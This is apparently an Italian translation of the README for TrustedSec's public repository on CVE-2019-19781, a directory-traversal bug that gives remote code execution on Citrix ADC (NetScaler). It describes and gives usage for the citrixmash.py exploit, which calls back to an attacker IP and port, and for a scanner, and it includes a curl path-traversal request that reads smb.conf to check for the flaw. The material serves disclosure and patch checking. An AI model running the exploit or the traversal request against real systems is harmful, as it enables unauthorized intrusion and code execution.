trustedsec/cve-2019-19781Questo è uno strumento pubblicato per la vulnerabilità di Citrix ADC (NetScaler). Stiamo divulgando questo solo perché altri hanno pubblicato per primi il codice dell'exploit.
Questo è stato caricato solo perché altri ricercatori hanno pubblicato il loro codice per primi. Avremmo sperato di tenerlo nascosto ancora per un po', dando ai difensori il tempo adeguato per applicare le patch ai loro sistemi.
Siamo tutti per la divulgazione responsabile, ma in questo caso - il gatto era già uscito dal sacco.
Exploit: CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - Sfrutta il bug di Directory Traversal di Citrix: CVE-2019-19781 Strumento scritto da: Rob Simon e Dave Kennedy Contributi: The TrustedSec Team Sito web: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics e IOC: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
Questo strumento sfrutta un bug di directory traversal all'interno di Citrix ADC (NetScaler) che richiama uno script Perl utilizzato per aggiungere file in formato XML alla macchina vittima. Questo a sua volta consente l'esecuzione di codice in remoto.
Assicurati di ripulire queste due posizioni dei file: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
Nota che i nomi host DNS e gli indirizzi IP sono supportati nei campi victimaddress e attackerip_listener.
Utilizzo:
python citrixmash.py <attackerip_listener> <attacker_port>
uso: citrixmash.py [-h] target targetport attackerip attackerport
Questo è un semplice test per verificare se il server è ancora vulnerabile a CVE-2019-19781.
Utilizzo: python3 cve-2019-19781.py
Nota: puoi usare notazioni CIDR come 192.168.1.1/24 e anche nomi host.
Indicherà se il server è ancora vulnerabile o meno. Puoi analizzare un solo server alla volta.
CVE-2019-19781-Scanner Azienda: TrustedSec Scritto da: Dave Kennedy Verifica se il sistema remoto è ancora vulnerabile a CVE-2019-19781. Analizzerà un solo host alla volta. Puoi usare anche notazioni CIDR, ad esempio: 192.168.1.1/24 Puoi usare nomi host invece degli indirizzi IP. Puoi anche usare un file con indirizzi IP generato da uno strumento esterno.
Esempio: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Esempio2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Esempio3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Esempio4: python3 cve-2019-19781_scanner.py as15169 443 Esempio5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Esempio6: python3 cve-2019-19781_scanner.py file:hostfile 443
Utilizzo: python3 cve-2019-19781_scanner.py targetip targetport
uso: cve-2019-19781_scanner.py [-h] target targetport [verbose]
Se vuoi verificare se questa esposizione è stata mitigata, usa il seguente comando:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
Oppure, se stai usando una CA aziendale non pubblica o interna, puoi ignorare l'errore usando l'opzione --insecure
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
Un codice 403 significa che hai applicato la patch, oppure se restituisce un sito Citrix e NON il file smb.conf stesso.
Se riesci a vedere smb.conf, allora sei vulnerabile.
Per installare i requisiti, dovrai eseguire il comando qui sotto.
pip3 install -r requirements.txt
